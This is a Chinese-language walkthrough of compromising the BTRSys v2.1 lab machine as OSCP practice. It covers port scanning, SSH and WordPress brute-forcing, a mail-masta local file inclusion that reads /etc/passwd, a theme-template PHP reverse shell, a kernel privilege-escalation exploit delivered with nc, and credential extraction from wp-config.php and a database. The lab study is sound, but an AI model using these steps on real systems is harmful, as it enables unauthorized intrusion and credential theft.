靶机实战(9):OSCP备考之谷安172.16.33.51

admin 2023年12月28日01:07:22评论44 views字数 6143阅读20分28秒阅读模式

谷安靶机:172.16.33.51

靶机官网:BTRSys: v2.1[1]

实战思路:

  1. 一、主机发现
  2. 二、端口发现(服务、组件、版本)
  3. 三、漏洞发现(获取权限)
    1. 21端口/FTP服务
      1. 组件漏洞
      2. 口令漏洞
    2. 22端口/SSH服务
      1. 组件漏洞
      2. 口令漏洞
    3. 80端口/HTTP服务
      1. 组件漏洞
      2. URL漏洞(目录、文件)
  4. 四、提升权限
    1. www-data用户
      1. sudo
      2. suid
      3. cron
      4. 内核提权
      5. 信息收集
    2. btrisk用户
      1. sudo

一、主机发现

本次攻击指定IP,不涉及主机发现过程。

二、端口发现(服务、组件、版本)

使用命令sudo -u root nmap 172.16.33.51 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

靶机实战(9):OSCP备考之谷安172.16.33.51

开放的端口

提供的服务

使用的组件

组件的版本

21/tcp

ftp

vsftpd

3.0.3

22/tcp

Ssh

OpenSSH

7.2p2

80/tcp

http

Apache httpd

2.4.18

-

os

Ubuntu Linux

三、漏洞发现(获取权限)

21端口/FTP服务

组件漏洞

使用命令searchsploit vsftpd 3.0.3searchsploit vsftpd 3发现vsftpd 3.0.3组件存在拒绝服务漏洞,无法用于获取权限。

靶机实战(9):OSCP备考之谷安172.16.33.51

口令漏洞

使用命令ftp 172.16.33.51连接FTP服务,使用匿名账号anonymous空口令登录,使用命令ls -la查看文件情况,发现啥也没有,使用命令quit退出FTP服务。

靶机实战(9):OSCP备考之谷安172.16.33.51

22端口/SSH服务

组件漏洞

使用命令searchsploit OpenSSH 7.2p2searchsploit OpensSH 7.发现OpenSSH 7.2p2组件存在用户名枚举漏洞。

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令searchsploit -m 40136将EXP复制到当前路径,发现EXP是没被验证过的,那得当心里面有rf -rf /命令或者反弹shell命令呀。

使用命令less 40136.py查看EXP代码,未发现恶意代码,同时通过print语句格式发现用的是python3语言。

使用命令python3 40136.py获取脚本的参数,根据参数构造命令python3 40136.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt 172.16.33.51枚举用户名,发现报错AttributeError: module 'time' has no attribute 'clock',原来是我的python版本的time模块没有clock方法。

靶机实战(9):OSCP备考之谷安172.16.33.51

查阅文档Python Time[2]发现自3.8版本起Python的time模块就没有clock方法了,官方推荐使用perf_counter方法或process_time方法代替。

Deprecated since version 3.3, will be removed in version 3.8: The behaviour of this function depends on the platform: use perf_counter() or process_time() instead, depending on your requirements, to have a well defined behaviour.

使用命令sed -i 's/time.clock()/time.perf_counter()/g' 40136.py修改EXP,将time.clock()全部改为time.perf_counter()。

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令python3 40136.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt 172.16.33.51枚举用户名,但是结果不准,还是放弃吧。

靶机实战(9):OSCP备考之谷安172.16.33.51

口令漏洞

使用命令hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.51 ssh爆破账号密码,无收获。

靶机实战(9):OSCP备考之谷安172.16.33.51

80端口/HTTP服务

组件漏洞

01、中间件组件:使用命令searchsploit Apache httpd 2.4.18searchsploit Apache httpd 2.4.,未发现组件Apache httpd 2.4.18的Nday漏洞。

靶机实战(9):OSCP备考之谷安172.16.33.51

02、应用组件:使用Wappalyzer、FindSomething等浏览器插件自动识别应用组件,使用BurpSuite等工具手动识别应用组件,无收获。

靶机实战(9):OSCP备考之谷安172.16.33.51

URL漏洞(目录、文件)

01、直接访问:浏览器打开http://172.16.33.51/,只有一张蛇身的动图,差点把我给恶心死。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

02、目录扫描:使用命令dirb http://172.16.33.51/扫描网站的目录和文件,通过/robots.txt文件和/wordpress/目录发现存在WordPress CMS,通过LICENSE文件和/upload/目录发现存在Lepton CMS。

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令wpscan --url http://172.16.33.51/wordpress/扫描WordPress CMS,逐个查看扫描结果:Headers获得的中间件信息,前面已经排查过没有Nday漏洞;XML-RPC提供的参考链接打开都没内容,先跳过;WordPress readme是WordPress默认页面,除了版本信息以外没啥有用内容;Upload directory逛了一圈,是空的;WP-Cron看了下是拒绝服务漏洞,无法用于获取权限。

靶机实战(9):OSCP备考之谷安172.16.33.51

WordPress version通过命令searchsploit WordPress 3.9.14查找EXP,发现要么是插件的漏洞,要么是拒绝服务和文件删除等无法获取权限的漏洞,只有一个41497.php用户名枚举漏洞有点价值,但是构造请求后却返回404,看来漏洞是被修复了?WordPress theme的twentyfourteen网上查了下是XSS漏洞,既不能获取权限,构造请求后也是404,看来漏洞也被修复了?

Plugin的mail-masta网上查了下有本地文件包含漏洞,URL是/WordPress目录/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=文件地址,构造请求后可以成功利用。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

对于/etc/passwd中有SHELL权限的SSH账号,通过密码爆破,未获得SSH密码。

对于本地文件包含漏洞,通过BurpSuite的Intruder爆破本地文件,未发现敏感信息、未发现我们可以写入的日志文件从而进行远程代码执行攻击。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

事后总结发现,SSH爆破失败是密码本不行,kali现有SSH字典都是账号和密码组合在一起的,提取出密码部分重新爆破一次,就能爆出弱口令了。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令wpscan --url http://172.16.33.51/wordpress/ --enumerate u爆破WordPress后台的账号,发现账号btriskadmin

使用命令wpscan --url http://172.16.33.51/wordpress/ --usernames admin,btrisk --passwords /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt爆破WordPress后台的密码,发现账号admin的密码是admin

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

网上查阅WordPress后台getshell方法,选择404模板getshell方法,原理是把当前主题的404.php文件修改成反弹shell文件,并访问404.php文件以触发执行,从而获得反弹shell。

当前主题的404.php文件的路径是:Appearance – Editor – 当前主题名称例如twentyfourteen – 404 Template

经过测试,在404.php文件中找个地方添加反弹shell代码是无法成功反弹shell的,难道是我插入代码后导致格式不对?最后将整个404.php文件替换成反弹shell文件才行,反弹shell文件可从php-reverse-shell[3]下载。

访问404.php文件的路径是:http://IP地址/WordPress目录/wp-content/themes/当前主题名称/404.php,例如这里是http://172.16.33.51/wordpress/wp-content/themes/twentyfourteen/404.php

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

03、模糊测试:基于当前已知信息,没有对网站的目录和文件进行模糊测试的必要。

04、信息收集:前面在Firefox浏览网站的流量全都经过BurpSuite代理,并使用HaE插件进行敏感信息识别,无收获。

靶机实战(9):OSCP备考之谷安172.16.33.51

四、提升权限

www-data用户

sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现没有tty终端所以无法调用身份验证程序,因此无法执行sudo -l命令。

使用命令which pythonwhich python3查看当前系统是否安装Python,发现安装了Python3,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得pty终端。

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,由于没有当前用户www-data的SSH密码,因此无法查看。

靶机实战(9):OSCP备考之谷安172.16.33.51

suid

使用命令find / -perm -u=s -ls 2>/dev/null查看哪些程序会以属主权限被执行,发现还挺多,但逐个在GTFOBins[4]查询,发现一个都不行。

靶机实战(9):OSCP备考之谷安172.16.33.51

cron

查看其它用户的计划任务是否引用了当前用户具有write权限的程序或脚本,从而写入提权代码进行提权。

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看计划任务发现没有输出,使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

使用命令find /etc/*cron* -type f -ls -exec cat {} ; 2>/dev/null > /tmp/cron.txtgrep '*' /tmp/cron.txt查看计划任务,无收获。

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令find / -perm -0006 -type f ! -path "/proc/*" -ls 2>/dev/null查看other用户具有read和write权限的程序或脚本,若该程序或脚本被其它用户的计划任务引用,那么可以写入提权代码,当计划任务执行时获得提权,但是没发现有这样的程序或脚本。

靶机实战(9):OSCP备考之谷安172.16.33.51

内核提权

使用命令uname -r获得内核版本4.4.0-62-generic,使用命令cat /etc/lsb-releasecat /etc/os-release获得发行版本Ubuntu 16.04.2 LTS

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令searchsploit Ubuntu 16.04.02 4.4.0-62查找内核漏洞,发现4个本地提权EXP。使用命令searchsploit -m EXP的ID将EXP复制到当前目录,发现一共是CVE-2017-16995CVE-2017-1000112两个漏洞,而且每个漏洞都有一个验证过的和一个没验证过的EXP。那么策略就是先无脑使用这两个被验证过的EXP,如果失败就检查没被验证过的EXP是否存在恶意代码再利用。

靶机实战(9):OSCP备考之谷安172.16.33.51

本地机器使用命令gcc 45010.c -o 45010 --static编译45010的EXP,参数--static是使用静态库来编译,我就是因为没用所以老是提权失败,原理详见gcc -static 命令[5]

目标机器使用命令nc -nvlp 4444 > /tmp/45010接收编译好的EXP,本地机器使用命令nc -nv 172.16.33.51 4444 < 45010发送编译好的EXP然后使用Ctrl+C断开连接。

目标机器使用命令chmod +x /tmp/45010赋予EXP可执行权限,使用命令./tmp/45010执行EXP,最终成功获得root权限。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

信息收集

使用命令find 路径 -type f -ls 2>/dev/null查看/root/目录、/home/目录、/tmp/目录,未发现敏感信息。

靶机实战(9):OSCP备考之谷安172.16.33.51

使用命令netstat -tunlap | grep LISTEN发现服务器本地还监听了3306端口,应该是给WordPress使用的,那么WordPress的配置文件中一定存在登录MySQL服务的账号密码。

通过网上搜索,得知WordPress的数据库配置文件是WordPress根目录下的wp-config.php文件,使用命令cat /www/html/html/wordpress/wp-config.php获取MySQL数据库账号root和密码rootpassword!,使用命令mysql -h 127.0.0.1 -P 3306 -u root -prootpassword!登录MySQL服务。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

逐个排查数据库,看着可疑的deneme库竟然是空的,phpmyadmin库只有账号没有密码,倒是wordpress库拿到了账号和密码。

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

拿到的密码是哈希值,看样子不是WordPress自带算法生成的。去在线平台查一下,得到root用户或btrisk用户的哈希值a318e4507e5a74604aafb45e4741edd3的明文是roottooradmin用户的哈希值21232f297a57a5a743894a0e4a801fc3的明文是admin

靶机实战(9):OSCP备考之谷安172.16.33.51

靶机实战(9):OSCP备考之谷安172.16.33.51

结合前面拿到的/etc/passwd文件得知root用户和btrisk用户允许登录SSH服务,使用root/roottoorbtrisk/roottoor尝试登录,最终btrisk用户登录成功。

靶机实战(9):OSCP备考之谷安172.16.33.51

btrisk用户

sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现能以任意用户的权限执行任意命令,那就以root用户的权限执行切换到root用户的命令吧。

使用命令sudo su以root用户的权限切换到root用户,提权成功。

靶机实战(9):OSCP备考之谷安172.16.33.51

参考资料

[1]

BTRSys: v2.1: https://www.vulnhub.com/entry/btrsys-v21,196/

[2]

Python Time: https://docs.python.org/3.7/library/time.html

[3]

php-reverse-shell: https://pentestmonkey.net/tools/web-shells/php-reverse-shell

[4]

GTFOBins: https://gtfobins.github.io/

[5]

gcc -static 命令: https://blog.csdn.net/newchenxf/article/details/51743181

原文始发于微信公众号(OneMoreThink):靶机实战(9):OSCP备考之谷安172.16.33.51

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日01:07:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机实战(9):OSCP备考之谷安172.16.33.51https://cn-sec.com/archives/2341596.html

发表评论

匿名网友 填写信息